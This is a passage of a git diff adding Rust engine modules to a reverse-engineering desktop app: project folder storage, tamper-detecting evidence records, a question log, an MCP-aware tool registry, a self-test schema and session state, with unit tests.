"https://mcp.example.com/mcp"); + assert!(plugin("").problem().unwrap().contains("command")); + assert!(McpPlugin { url: Some("https://x".into()), ..plugin("notes-mcp") }.problem().unwrap().contains("both")); + assert!(McpPlugin { url: Some("http://example.com/mcp".into()), ..plugin("") }.problem().unwrap().contains("https://")); + let parsed: PluginSettings = + toml::from_str("[[mcp]]\nid = \"docs\"\nurl = \"https://mcp.example.com/mcp\"\nheaders = { Authorization = \"Bearer t\" }\n").unwrap(); + assert!(parsed.mcp[0].problem().is_none() && parsed.mcp[0].headers.contains_key("Authorization")); + assert!(!toml::to_string(&parsed).unwrap().contains("command"), "a remote plugin is saved without an empty command"); + } +} diff --git a/desktop/crates/engine/src/project.rs b/desktop/crates/engine/src/project.rs new file mode 100644 index 0000000..97bd20f --- /dev/null +++ b/desktop/crates/engine/src/project.rs @@ -0,0 +1,309 @@ +//! Projects (`*.cany` folders): evidence, unknowns, annotations and notes that survive restarts. +//! +//! Layout: +//! ```text +//! name.cany/ +//! project.toml name, purpose, created, format version +//! evidence/ab/.json content-addressed evidence records +//! unknowns/.json +//! annotations/.json +//! notes.md +//! ``` +//! Every write is atomic (temp file + rename). Nothing outside the folder is ever written. + +use crate::session::Annotations; +use crate::versioned::{Step, upgrade}; +use craft_anything_evidence::{ErrorCode, Evidence, ToolError, Unknown, is_evidence_id}; +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; + +pub const PROJECT_EXTENSION: &str = "cany"; +/// The current `project.toml` format version. Bumping it means appending a step to [`FORMAT_STEPS`]. +pub const FORMAT_VERSION: u32 = 1; + +/// The oldest format a project can be in: projects have carried `format_version` since the start. +const FIRST_FORMAT: u32 = 1; + +/// The steps that bring an older `project.toml` forward; step `i` goes from format +/// `FIRST_FORMAT + i` to `FIRST_FORMAT + i + 1`. None yet: format 1 is the only one so far. +const FORMAT_STEPS: &[Step] = &[]; +const _: () = assert!(FIRST_FORMAT as usize + FORMAT_STEPS.len() == FORMAT_VERSION as usize, "one step per project format"); + +/// Read a `project.toml` of any format this build understands, bringing older ones forward. A +/// newer format is refused: a project's evidence layout may have changed in ways we can't see. +pub fn read_project_meta(text: &str) -> Result { + let bad = |e: String| ToolError::new(ErrorCode::BadSettings, format!("project.toml: {e}")); + let mut table: toml::Table = toml::from_str(text).map_err(|e| bad(e.to_string()))?; + let found = match table.get("format_version") { + None => return Err(bad("missing field `format_version`".into())), + Some(v) => v.as_integer().and_then(|n| u32::try_from(n).ok()).ok_or_else(|| bad(format!("format_version ({v}) isn't a whole number")))?, + }; + if found > FORMAT_VERSION { + return Err(ToolError::unsupported(format!("This project was made by a newer REI Reverse Engineer (format {found}).")) + .with_remediation("Update REI Reverse Engineer to open it.")); + } + let reached = upgrade(&mut table, found, FIRST_FORMAT, FORMAT_STEPS).map_err(bad)?; + table.insert("format_version".into(), toml::Value::Integer(reached.into())); + table.try_into::().map_err(|e| bad(e.to_string())) +} + +/// Why the user is examining software. Asked once, in plain words. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default, schemars::JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum Purpose { + /// My own software, or software I'm allowed to examine. + #[default] + OwnOrAuthorized, + /// Making something work with something else. + Interoperability, + /// Security research. + Security, + /// Learning how things work. + Education, + /// Keeping old software alive. + Preservation, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct ProjectMeta { + pub name: String, + #[serde(default)] + pub purpose: Purpose, + pub format_version: u32, + /// Tools the user said may run code or change devices in this project without asking again. + #[serde(default)] + pub allowed_tools: Vec, +} + +/// One evidence file in a project's store. +#[derive(Debug, Clone)] +pub struct StoredEvidence { + pub id: String, + pub modified: Option, + pub bytes: u64, +} + +#[derive(Debug, Clone)] +pub struct Project { + pub root: PathBuf, + pub meta: ProjectMeta, +} + +impl Project { + /// Create a new project folder (fails if it exists and isn't empty). + pub fn create(root: &Path, name: &str, purpose: Purpose) -> Result { + if root.exists() && std::fs::read_dir(root).map(|mut d| d.next().is_some()).unwrap_or(true) { + return Err(ToolError::invalid(format!("{} already exists", root.display())).with_remediation("Pick a new folder name.")); + } + for sub in ["evidence", "unknowns", "annotations"] { + std::fs::create_dir_all(root.join(sub)).map_err(|e| ToolError::io(root.display(), e))?; + } + let meta = ProjectMeta { name: name.to_string(), purpose, format_version: FORMAT_VERSION, allowed_tools: Vec::new() }; + let p = Project { root: root.to_path_buf(), meta }; + p.save_meta()?; + Ok(p) + } + + pub fn open(root: &Path) -> Result { + let text = std::fs::read_to_string(root.join("project.toml")).map_err(|e| ToolError::io(root.display(), e))?; + let meta = read_project_meta(&text)?; + Ok(Project { root: root.to_path_buf(), meta }) + } + + pub fn save_meta(&self) -> Result<(), ToolError> { + let text = toml::to_string_pretty(&self.meta).map_err(|e| ToolError::internal(format!("project.toml: {e}")))?; + write_atomic(&self.root.join("project.toml"), text.as_bytes()) + } + + fn evidence_path(&self, id: &str) -> Result { + if !is_evidence_id(id) { + return Err(ToolError::invalid(format!("not an evidence id: {id}"))); + } + let shard = id.get(3..5).unwrap_or("00"); + Ok(self.root.join("evidence").join(shard).join(format!("{id}.json"))) + } + + pub fn store_evidence(&self, ev: &Evidence) -> Result<(), ToolError> { + let path = self.evidence_path(&ev.id)?; + if path.exists() { + return Ok(()); + } + let text = serde_json::to_vec_pretty(ev).map_err(|e| ToolError::internal(e.to_string()))?; + write_atomic(&path, &text) + } + + pub fn load_evidence(&self, id: &str) -> Result { + let path = self.evidence_path(id)?; + let bytes = std::fs::read(&path).map_err(|e| ToolError::io(path.display(), e))?; + let ev: Evidence = serde_json::from_slice(&bytes).map_err(|e| ToolError::new(ErrorCode::EvidenceHashMismatch, format!("{id}: {e}")))?; + if !ev.verify() || ev.id != id { + return Err(ToolError::new(ErrorCode::EvidenceHashMismatch, format!("{id} was changed after it was recorded"))); + } + Ok(ev) + } + + /// Every stored evidence id. + pub fn evidence_ids(&self) -> Vec { + let mut out: Vec = self.evidence_files().into_iter().map(|f| f.id).collect(); + out.sort(); + out + } + + /// Every stored evidence record's id, write time and size (unordered, contents not read). + pub fn evidence_files(&self) -> Vec { + let mut out = Vec::new(); + if let Ok(shards) = std::fs::read_dir(self.root.join("evidence")) { + for shard in shards.flatten() { + if let Ok(files) = std::fs::read_dir(shard.path()) { + for f in files.flatten() { + if let Some(id) = f.path().file_stem().map(|s| s.to_string_lossy().into_owned()) + && is_evidence_id(&id) + { + let meta = f.metadata().ok(); + let modified = meta.as_ref().and_then(|m| m.modified().ok()); + out.push(StoredEvidence { id, modified, bytes: meta.map(|m| m.len()).unwrap_or(0) }); + } + } + } + } + } + out + } + + pub fn store_unknown(&self, u: &Unknown) -> Result<(), ToolError> { + let safe: String = u.id.chars().filter(|c| c.is_ascii_alphanumeric() || *c == '_').collect(); + let text = serde_json::to_vec_pretty(u).map_err(|e| ToolError::internal(e.to_string()))?; + write_atomic(&self.root.join("unknowns").join(format!("{safe}.json")), &text) + } + + pub fn load_unknowns(&self) -> Result, ToolError> { + let mut out = Vec::new(); + let dir = self.root.join("unknowns"); + let Ok(entries) = std::fs::read_dir(&dir) else { return Ok(out) }; + for e in entries.flatten() { + if let Ok(bytes) = std::fs::read(e.path()) { + match serde_json::from_slice::(&bytes) { + Ok(u) => out.push(u), + Err(err) => log::warn!("skipping unreadable unknown {}: {err}", e.path().display()), + } + } + } + Ok(out) + } + + fn annotations_path(&self, sha256: &str) -> PathBuf { + let safe: String = sha256.chars().filter(|c| c.is_ascii_hexdigit()).take(64).collect(); + self.root.join("annotations").join(format!("{safe}.json")) + } + + pub fn load_annotations(&self, sha256: &str) -> Result { + let path = self.annotations_path(sha256); + let bytes = std::fs::read(&path).map_err(|e| ToolError::io(path.display(), e))?; + serde_json::from_slice(&bytes).map_err(|e| ToolError::new(ErrorCode::BadSettings, e.to_string())) + } + + pub fn save_annotations(&self, sha256: &str, a: &Annotations) -> Result<(), ToolError> { + let text = serde_json::to_vec_pretty(a).map_err(|e| ToolError::internal(e.to_string()))?; + write_atomic(&self.annotations_path(sha256), &text) + } + + pub fn is_allowed(&self, tool: &str) -> bool { + self.meta.allowed_tools.iter().any(|t| t == tool) + } +} + +/// Write `bytes` to `path` atomically: a temp file of its own, fsync, then rename (retried on +/// Windows while another program holds the file for a moment). +pub use craft_anything_platform::fs::write_atomic; + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_evidence::{Environment, EvidenceBuilder, Subject}; + + /// #273: threads saving one file at once shared a temp file, so saves failed with "not found" + /// and the file could be left half one version, half another. + #[test] + fn saves_from_several_threads_never_mix() { + let dir = tempfile::tempdir().unwrap(); + let p = dir.path().join("craft.json"); + let versions: Vec> = (0..4u8).map(|i| vec![b'a' + i; 4096 * (usize::from(i) + 1)]).collect(); + std::thread::scope(|s| { + for v in &versions { + let (p, versions) = (&p, &versions); + s.spawn(move || { + for _ in 0..50 { + write_atomic(p, v).unwrap(); + let now = std::fs::read(p).unwrap(); + assert!(versions.contains(&now), "a mixed file of {} bytes", now.len()); + } + }); + } + }); + assert_eq!(std::fs::read_dir(dir.path()).unwrap().count(), 1, "temp files left behind"); + } + + /// A file another program holds open for a moment (as a virus scan does) is still replaced. + #[cfg(windows)] + #[test] + fn a_file_held_open_for_a_moment_is_still_replaced() { + use std::os::windows::fs::OpenOptionsExt; + let d = tempfile::tempdir().unwrap(); + let p = d.path().join("config.toml"); + std::fs::write(&p, "old").unwrap(); + // Shared for reading only, so replacing the file fails while it's open. + let held = std::fs::OpenOptions::new().read(true).share_mode(1).open(&p).unwrap(); + std::fs::write(d.path().join("probe"), "x").unwrap(); + assert!(std::fs::rename(d.path().join("probe"), &p).is_err(), "the held file can't be replaced"); + let release = std::thread::spawn(move || { + std::thread::sleep(std::time::Duration::from_millis(400)); + drop(held); + }); + write_atomic(&p, b"new").unwrap(); + release.join().unwrap(); + assert_eq!(std::fs::read_to_string(&p).unwrap(), "new"); + } + + #[test] + fn project_formats_are_brought_forward_and_newer_ones_refused() { + // project.toml as the first release wrote it. + let v1 = "name = \"t\"\npurpose = \"education\"\nformat_version = 1\nallowed_tools = [\"run_program\"]\n"; + let meta = read_project_meta(v1).unwrap(); + assert_eq!((meta.format_version, meta.purpose, meta.allowed_tools.len()), (1, Purpose::Education, 1)); + assert_eq!(read_project_meta("name = \"t\"\nformat_version = 1\n").unwrap().purpose, Purpose::OwnOrAuthorized); + + let newer = read_project_meta("name = \"t\"\nformat_version = 2\n").unwrap_err(); + assert_eq!(newer.code, ErrorCode::NotSupported); + assert!(newer.message.contains("newer") && newer.remediation.is_some()); + for bad in ["name = \"t\"\n", "name = \"t\"\nformat_version = 0\n", "format_version = \"1\"\n", "format_version = -3\n", "[[["] { + assert_eq!(read_project_meta(bad).unwrap_err().code, ErrorCode::BadSettings, "{bad}"); + } + + // The mechanism a format 2 will use: a step rewrites the raw table before it's read. + fn rename_tools(t: &mut toml::Table) -> Result<(), String> { + if let Some(v) = t.remove("allowed") { + t.insert("allowed_tools".into(), v); + } + Ok(()) + } + let mut t: toml::Table = toml::from_str("name = \"t\"\nformat_version = 1\nallowed = [\"x\"]\n").unwrap(); + assert_eq!(upgrade(&mut t, 1, FIRST_FORMAT, &[rename_tools as Step]), Ok(2)); + assert_eq!(t.get("allowed_tools").and_then(|v| v.as_array()).map(Vec::len), Some(1)); + } + + #[test] + fn evidence_round_trips_and_detects_tampering() { + let dir = tempfile::tempdir().unwrap(); + let p = Project::create(&dir.path().join("t.cany"), "t", Purpose::Education).unwrap(); + let ev = EvidenceBuilder::new("x", Subject::default(), Environment::builtin(true)).result(serde_json::json!(1)).build().unwrap(); + p.store_evidence(&ev).unwrap(); + assert_eq!(p.load_evidence(&ev.id).unwrap(), ev); + assert_eq!(p.evidence_ids(), vec![ev.id.clone()]); + let path = p.evidence_path(&ev.id).unwrap(); + let text = std::fs::read_to_string(&path).unwrap().replace("\"result\": 1", "\"result\": 2"); + std::fs::write(&path, text).unwrap(); + assert_eq!(p.load_evidence(&ev.id).unwrap_err().code, ErrorCode::EvidenceHashMismatch); + let reopened = Project::open(&p.root).unwrap(); + assert_eq!(reopened.meta.purpose, Purpose::Education); + } +} diff --git a/desktop/crates/engine/src/questions.rs b/desktop/crates/engine/src/questions.rs new file mode 100644 index 0000000..362991b --- /dev/null +++ b/desktop/crates/engine/src/questions.rs @@ -0,0 +1,104 @@ +//! Questions asked about a project's build and their answers, kept in the project folder +//! (`questions.json`) to read again later. They stay apart from `feed.json`: they aren't part of +//! the build's conversation, and a run owns that file. `rebuild_question_ask` is what writes here. + +use crate::inbox::now_ms; +use crate::workspace::Workspace; +use craft_anything_evidence::ToolError; +use craft_anything_platform::sync::Mutex; +use serde::{Deserialize, Serialize}; +use std::sync::PoisonError; + +/// Where they're kept in the project folder. +pub const QUESTIONS_FILE: &str = "questions.json"; +/// The format written today. +pub const QUESTIONS_VERSION: u32 = 1; +/// How many a project keeps; the oldest go first. +const KEPT: usize = 200; + +/// One question and its answer. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct AskedQuestion { + pub question: String, + pub answer: String, + /// From a copy of the builder's own session (it remembers the build). + pub from_session: bool, + pub backend: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub cost_usd: Option, + /// How many items the project's feed held when it was asked: where it shows in the conversation. + pub after: usize, + pub at_ms: u64, +} + +impl AskedQuestion { + pub fn new(question: String, answer: String, from_session: bool, backend: String, cost_usd: Option, after: usize) -> Self { + Self { question, answer, from_session, backend, cost_usd, after, at_ms: now_ms() } + } +} + +#[derive(Serialize, Deserialize)] +struct File { + #[serde(default)] + version: u32, + items: Vec, +} + +/// A project's questions, oldest first; none when there are none or the file can't be read. +pub fn load(ws: &Workspace) -> Vec { + let Ok(bytes) = std::fs::read(ws.root.join(QUESTIONS_FILE)) else { return Vec::new() }; + match serde_json::from_slice::(&bytes) { + Ok(f) => f.items, + Err(e) => { + log::warn!("the questions of {} couldn't be read: {e}", ws.root.display()); + Vec::new() + } + } +} + +/// Keep one more. Questions can finish at once, so each read and write happens alone. +pub fn add(ws: &Workspace, asked: AskedQuestion) -> Result<(), ToolError> { + static WRITING: Mutex<()> = Mutex::new(()); + let _alone = WRITING.lock().unwrap_or_else(PoisonError::into_inner); + let mut items = load(ws); + items.push(asked); + let extra = items.len().saturating_sub(KEPT); + items.drain(..extra); + let json = serde_json::to_vec_pretty(&File { version: QUESTIONS_VERSION, items }).map_err(|e| ToolError::internal(e.to_string()))?; + crate::project::write_atomic(&ws.root.join(QUESTIONS_FILE), &json) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::workspace::TargetRef; + + fn asked(q: &str, after: usize) -> AskedQuestion { + AskedQuestion::new(q.into(), "in src".into(), true, "Claude".into(), None, after) + } + + #[test] + fn questions_are_kept_in_order_and_the_oldest_go_first() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Snake", "a snake game", TargetRef::None).unwrap(); + assert!(load(&ws).is_empty()); + for n in 0..KEPT + 2 { + add(&ws, asked(&format!("q{n}"), n)).unwrap(); + } + let items = load(&ws); + assert_eq!((items.len(), items[0].question.as_str(), items[KEPT - 1].after), (KEPT, "q2", KEPT + 1)); + } + + #[test] + fn an_unreadable_file_is_no_questions_and_they_go_with_the_project() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Snake", "a snake game", TargetRef::None).unwrap(); + std::fs::write(ws.root.join(QUESTIONS_FILE), "{").unwrap(); + assert!(load(&ws).is_empty()); + add(&ws, asked("where", 0)).unwrap(); + assert_eq!(load(&ws).len(), 1); + let root = ws.root.clone(); + ws.delete().unwrap(); + assert!(!root.join(QUESTIONS_FILE).exists()); + } +} diff --git a/desktop/crates/engine/src/registry.rs b/desktop/crates/engine/src/registry.rs new file mode 100644 index 0000000..6e3e508 --- /dev/null +++ b/desktop/crates/engine/src/registry.rs @@ -0,0 +1,236 @@ +//! The tool registry. + +use crate::tool::{Effects, Requires, ToolFn, ToolSpec, Toolset}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +/// The first word of a tool id (docs/tool-ids.md). +pub const AREAS: &[&str] = &[ + "core", "native", "managed", "java", "android", "apple", "harmony", "js", "web", "app", "firmware", "formats", "radio", "packets", "db", "assets", "game", + "project", "rebuild", "build", "runtime", "adb", "frida", "engines", "settings", "plugins", "setup", +]; + +/// A tool defined at run time rather than in code: a plugin's, or one proxied from an external +/// MCP server. Its names are owned and its input schema is plain JSON; `run` can serve many such +/// tools, telling them apart by [`crate::Ctx::tool`]. Registering one keeps its strings for the +/// rest of the process (they're registered once, at startup). +#[derive(Clone)] +pub struct RuntimeTool { + pub id: String, + pub title: String, + pub summary: String, + pub beginner: String, + pub toolset: Toolset, + pub effects: Effects, + pub requires: Requires, + pub schema: Value, + pub run: ToolFn, +} + +impl RuntimeTool { + /// Ids (and custom toolset ids) are lower-case letters, digits and `_`, 1-64 characters. + pub fn valid_id(id: &str) -> bool { + (1..=64).contains(&id.len()) && id.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_') + } +} + +/// A run-time group's id kept for the process, once per distinct id. +pub fn custom_toolset(id: &str) -> Option { + use craft_anything_platform::sync::Mutex; + use std::sync::{OnceLock, PoisonError}; + static SEEN: OnceLock>> = OnceLock::new(); + if let Some(t) = Toolset::from_id(id) { + return Some(t); + } + if !RuntimeTool::valid_id(id) { + return None; + } + let mut seen = SEEN.get_or_init(Mutex::default).lock().unwrap_or_else(PoisonError::into_inner); + let kept = match seen.iter().find(|s| **s == id) { + Some(s) => *s, + None => { + let s: &'static str = Box::leak(id.to_string().into_boxed_str()); + seen.push(s); + s + } + }; + Some(Toolset::Custom(kept)) +} + +#[derive(Debug, Clone)] +pub struct Registry { + specs: Vec, + index: BTreeMap<&'static str, usize>, + /// Input schemas of tools defined at run time. + schemas: BTreeMap<&'static str, Value>, +} + +impl Registry { + pub fn new(specs: Vec) -> Self { + let mut index = BTreeMap::new(); + let mut kept = Vec::with_capacity(specs.len()); + for s in specs { + if index.contains_key(s.id) { + log::error!("duplicate tool id {} ignored", s.id); + continue; + } + index.insert(s.id, kept.len()); + kept.push(s); + } + Registry { specs: kept, index, schemas: BTreeMap::new() } + } + + pub fn with_all_tools() -> Self { + Registry::new(crate::tools::all()) + } + + /// Add tools defined at run time. One with an invalid id, a custom toolset with an invalid + /// id, a schema that isn't an object, or an id already taken is skipped (and logged). + pub fn with_runtime(mut self, tools: Vec) -> Self { + for t in tools { + let set_ok = !matches!(t.toolset, Toolset::Custom(id) if !RuntimeTool::valid_id(id)); + if !RuntimeTool::valid_id(&t.id) || !set_ok || !t.schema.is_object() || self.index.contains_key(t.id.as_str()) { + log::error!("run-time tool {:?} skipped (invalid or duplicate)", t.id); + continue; + } + let leak = |s: String| -> &'static str { Box::leak(s.into_boxed_str()) }; + let spec = ToolSpec { + id: leak(t.id), + title: leak(t.title), + summary: leak(t.summary), + beginner: leak(t.beginner), + toolset: t.toolset, + effects: t.effects, + requires: t.requires, + input_schema: crate::tool::empty_schema, + run: t.run, + }; + self.schemas.insert(spec.id, t.schema); + self.index.insert(spec.id, self.specs.len()); + self.specs.push(spec); + } + self + } + + /// A tool's input schema (its own type's, or the JSON a run-time tool brought). + pub fn input_schema(&self, spec: &ToolSpec) -> Value { + self.schemas.get(spec.id).cloned().unwrap_or_else(|| (spec.input_schema)()) + } + + /// Every group in use: the built-in ones, then those added at run time. + pub fn toolsets(&self) -> Vec { + let mut out = Toolset::ALL.to_vec(); + for s in &self.specs { + if !out.contains(&s.toolset) { + out.push(s.toolset); + } + } + out + } + + /// A group by id, built-in or added at run time. + pub fn toolset(&self, id: &str) -> Option { + self.toolsets().into_iter().find(|t| t.id() == id) + } + + /// The tool's own id for any name a client may use: its id, its CLI name (kebab-case), or + /// either as an MCP client reports it (`mcp____`). Code that decides + /// on which tool ran compares this, never the raw name. + pub fn canonical(&self, name: &str) -> Option<&'static str> { + let bare = name.strip_prefix("mcp__").and_then(|rest| rest.split_once("__").map(|(_, tool)| tool)).unwrap_or(name); + self.get(bare).map(|s| s.id) + } + + /// A tool by its id or its CLI name (kebab-case). + pub fn get(&self, id: &str) -> Option<&ToolSpec> { + self.index.get(id.replace('-', "_").as_str()).and_then(|i| self.specs.get(*i)) + } + + pub fn all(&self) -> &[ToolSpec] { + &self.specs + } + + pub fn in_toolset(&self, t: Toolset) -> impl Iterator { + self.specs.iter().filter(move |s| s.toolset == t) + } + + pub fn len(&self) -> usize { + self.specs.len() + } + + pub fn is_empty(&self) -> bool { + self.specs.is_empty() + } + + /// The MCP `tools/list` entry for one tool. + pub fn mcp_descriptor(&self, spec: &ToolSpec) -> Value { + json!({ + "name": spec.id, + "title": spec.title, + "description": spec.summary, + "inputSchema": self.input_schema(spec), + "annotations": { + "title": spec.title, + "readOnlyHint": spec.effects.read_only_hint(), + "destructiveHint": spec.effects.destructive_hint(), + "idempotentHint": spec.effects.contains(crate::Effects::IDEMPOTENT), + "openWorldHint": spec.effects.open_world_hint(), + }, + }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn every_tool_is_well_formed() { + let r = Registry::with_all_tools(); + assert!(!r.is_empty()); + for s in r.all() { + assert!(s.id.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_'), "{}", s.id); + assert!(!s.title.is_empty() && !s.summary.is_empty() && !s.beginner.is_empty(), "{}", s.id); + let schema = r.input_schema(s); + assert!(schema.is_object(), "{} schema", s.id); + assert!(r.get(&s.cli_name()).is_some()); + } + } + + #[test] + fn every_mcp_input_property_has_an_object_schema() { + let r = Registry::with_all_tools(); + for spec in r.all() { + let schema = &r.mcp_descriptor(spec)["inputSchema"]; + for (property, value) in schema["properties"].as_object().into_iter().flatten() { + assert!(value.is_object(), "{}.{property} schema must be an object, got {value}", spec.id); + } + } + } + + #[test] + fn any_name_a_client_uses_resolves_to_the_tool_id() { + let r = Registry::with_all_tools(); + assert_eq!(r.canonical("core_session_show"), Some("core_session_show")); + assert_eq!(r.canonical("core-session-show"), Some("core_session_show")); + assert_eq!(r.canonical("mcp__craft-anything__core_session_show"), Some("core_session_show")); + assert_eq!(r.canonical("mcp__other__nope"), None); + assert_eq!(r.canonical("Read"), None, "an agent's own tool isn't ours"); + } + + /// Every tool's id is `__` (or `_` where the area is the + /// object, like `project_list`). + #[test] + fn every_tool_id_follows_the_scheme() { + let bad: Vec<&str> = Registry::with_all_tools() + .all() + .iter() + .map(|s| s.id) + .filter(|id| { + let mut words = id.split('_'); + !(words.next().is_some_and(|a| AREAS.contains(&a)) && words.count() >= 1) + }) + .collect(); + assert!(bad.is_empty(), "ids outside the scheme (docs/tool-ids.md): {bad:?}"); + } +} diff --git a/desktop/crates/engine/src/self_test.rs b/desktop/crates/engine/src/self_test.rs new file mode 100644 index 0000000..68d4e99 --- /dev/null +++ b/desktop/crates/engine/src/self_test.rs @@ -0,0 +1,53 @@ +//! What a built game's `--self-test ` saves: each step of the core loop it played with +//! scripted input, and whether it passed (read by the rebuild's self-test check). Published as +//! `docs/schemas/self-test.schema.json`. + +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; + +/// The report's current version; one without a version is read as this. +pub const SELF_TEST_VERSION: u32 = 1; + +/// A self-test report. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct SelfTestReport { + /// The format version ([`SELF_TEST_VERSION`]); missing means 1. + #[serde(default = "version")] + pub version: u32, + /// The core loop's steps ("move", "act", "hud") as the game measured them. + pub steps: Vec, +} + +fn version() -> u32 { + SELF_TEST_VERSION +} + +/// One step of the core loop. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct SelfTestStep { + /// "move", "act" or "hud" (any case). + pub step: String, + pub passed: bool, + /// What was measured ("walked 3.1 m forward"). + #[serde(default)] + pub detail: String, +} + +/// The JSON Schema of the report as published in `docs/schemas/self-test.schema.json`. +pub fn self_test_schema() -> String { + let schema = schemars::generate::SchemaSettings::draft2020_12().into_generator().into_root_schema_for::(); + serde_json::to_string_pretty(&schema).map(|s| s + "\n").unwrap_or_default() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_schema_describes_the_report_and_old_reports_read() { + let schema = self_test_schema(); + assert!(schema.contains("\"steps\"") && schema.contains("\"passed\""), "{schema}"); + let r: SelfTestReport = serde_json::from_str(r#"{"steps": [{"step": "move", "passed": true}]}"#).unwrap(); + assert_eq!((r.version, r.steps[0].detail.as_str()), (SELF_TEST_VERSION, ""), "no version means 1, no detail means empty"); + } +} diff --git a/desktop/crates/engine/src/session.rs b/desktop/crates/engine/src/session.rs new file mode 100644 index 0000000..493605e --- /dev/null +++ b/desktop/crates/engine/src/session.rs @@ -0,0 +1,303 @@ +//! The session: open targets, the evidence ledger, unknowns, annotations and caches. + +use crate::project::Project; +use crate::settings::Settings; +use crate::target::{Target, TargetId}; +use craft_anything_evidence::{ErrorCode, Evidence, ToolError, Unknown}; +use std::any::{Any, TypeId}; +use std::collections::{BTreeMap, HashMap}; +use std::sync::Arc; + +/// Per-target annotations made by people or agents (names, comments, bookmarks). +#[derive(Debug, Clone, Default, serde::Serialize, serde::Deserialize)] +pub struct Annotations { + pub names: BTreeMap, + pub comments: BTreeMap, + pub inline_comments: BTreeMap, + pub bookmarks: BTreeMap, +} + +/// Where the user (or agent) is looking in a target. +#[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +pub struct Cursor { + pub address: Option, +} + +/// Type-keyed cache slots that analysis layers attach to a target (disassembly, module graphs…). +#[derive(Default)] +pub struct Extensions(HashMap>); + +impl Extensions { + pub fn get(&self) -> Option> { + self.0.get(&TypeId::of::()).and_then(|a| a.clone().downcast::().ok()) + } + + pub fn insert(&mut self, value: Arc) { + self.0.insert(TypeId::of::(), value); + } + + pub fn remove(&mut self) -> Option> { + self.0.remove(&TypeId::of::()).and_then(|a| a.downcast::().ok()) + } + + pub fn clear(&mut self) { + self.0.clear(); + } +} + +impl std::fmt::Debug for Extensions { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "Extensions({} slots)", self.0.len()) + } +} + +/// One open target with its annotations and caches. +#[derive(Debug)] +pub struct OpenTarget { + pub target: Target, + pub annotations: Annotations, + pub cursor: Cursor, + pub ext: Extensions, +} + +/// How many project evidence records a session keeps in memory (newest first). Older ones stay on +/// disk and still resolve by id. +pub const MAX_LOADED_EVIDENCE: usize = 5_000; +/// Total bytes of project evidence a session loads into memory before leaving the rest on disk. +const MAX_LOADED_EVIDENCE_BYTES: u64 = 64 * 1024 * 1024; + +/// All state a tool can touch. +#[derive(Debug, Default)] +pub struct Session { + pub settings: Settings, + pub project: Option, + targets: BTreeMap, + active: Option, + ledger: BTreeMap, + /// Insertion order of the ledger, for "latest first" views. + order: Vec, + unknowns: BTreeMap, + /// Project records left on disk because the project holds more than [`MAX_LOADED_EVIDENCE`]. + /// They still resolve by id through [`Session::resolve_evidence`]. + unloaded_evidence: usize, + /// Session-wide caches not tied to a target (device lists, browser connections…). + pub ext: Extensions, + /// Where this session keeps config.toml and plugin caches, when not the usual folder + /// ([`crate::settings::config_dir`]); see [`Session::isolated`]. + config_dir: Option, + /// Deep mode (`true`) or Clean room (`false`) for this process only, over + /// `settings.deep_mode` and never saved: the CLI's `--deep` and `--clean-room`. + pub deep_for_run: Option, +} + +impl Session { + pub fn new(settings: Settings) -> Self { + Session { settings, ..Default::default() } + } + + /// A session that keeps everything under `dir` (config.toml, plugin caches, the engine store, + /// new projects) instead of this computer's own folders: for tests, and anything that must not + /// touch the person's setup. + pub fn isolated(dir: &std::path::Path) -> Self { + let mut settings = Settings::default(); + settings.engines.store_dir = Some(dir.join("engines")); + settings.projects_dir = Some(dir.join("projects")); + Session { settings, config_dir: Some(dir.to_path_buf()), ..Default::default() } + } + + /// Keep a project started in a folder the person picked in the project list + /// ([`Settings::remember_project`]), saving settings when that changed them. + pub fn remember_project(&mut self, root: &std::path::Path) -> Result<(), craft_anything_evidence::ToolError> { + let mut next = self.settings.clone(); + if next.remember_project(root) { + next.save_to(&self.config_dir().join("config.toml"))?; + self.settings = next; + } + Ok(()) + } + + /// Where this session's config.toml and plugin caches live. + pub fn config_dir(&self) -> std::path::PathBuf { + self.config_dir.clone().unwrap_or_else(crate::settings::config_dir) + } + + /// True in Clean room: nothing inside a target is read ([`crate::clean_room`]). + pub fn clean_room(&self) -> bool { + !self.deep_for_run.unwrap_or(self.settings.deep_mode) + } + + // ---- targets ---- + + pub fn add_target(&mut self, target: Target) -> TargetId { + let id = target.id.clone(); + let annotations = self.project.as_ref().and_then(|p| p.load_annotations(&target.sha256).ok()).unwrap_or_default(); + self.targets.insert(id.clone(), OpenTarget { target, annotations, cursor: Cursor::default(), ext: Extensions::default() }); + self.active = Some(id.clone()); + id + } + + pub fn close_target(&mut self, id: &TargetId) -> Option { + let removed = self.targets.remove(id); + if self.active.as_ref() == Some(id) { + self.active = self.targets.keys().next_back().cloned(); + } + removed + } + + pub fn targets(&self) -> impl Iterator { + self.targets.values() + } + + pub fn target(&self, id: &TargetId) -> Option<&OpenTarget> { + self.targets.get(id) + } + + pub fn target_mut(&mut self, id: &TargetId) -> Option<&mut OpenTarget> { + self.targets.get_mut(id) + } + + pub fn active_id(&self) -> Option<&TargetId> { + self.active.as_ref() + } + + pub fn set_active(&mut self, id: &TargetId) -> Result<(), ToolError> { + if self.targets.contains_key(id) { + self.active = Some(id.clone()); + Ok(()) + } else { + Err(ToolError::new(ErrorCode::NotFound, format!("No open target {id}"))) + } + } + + /// The active target, or a `not_found` error that tells the caller what to do. + pub fn active(&self) -> 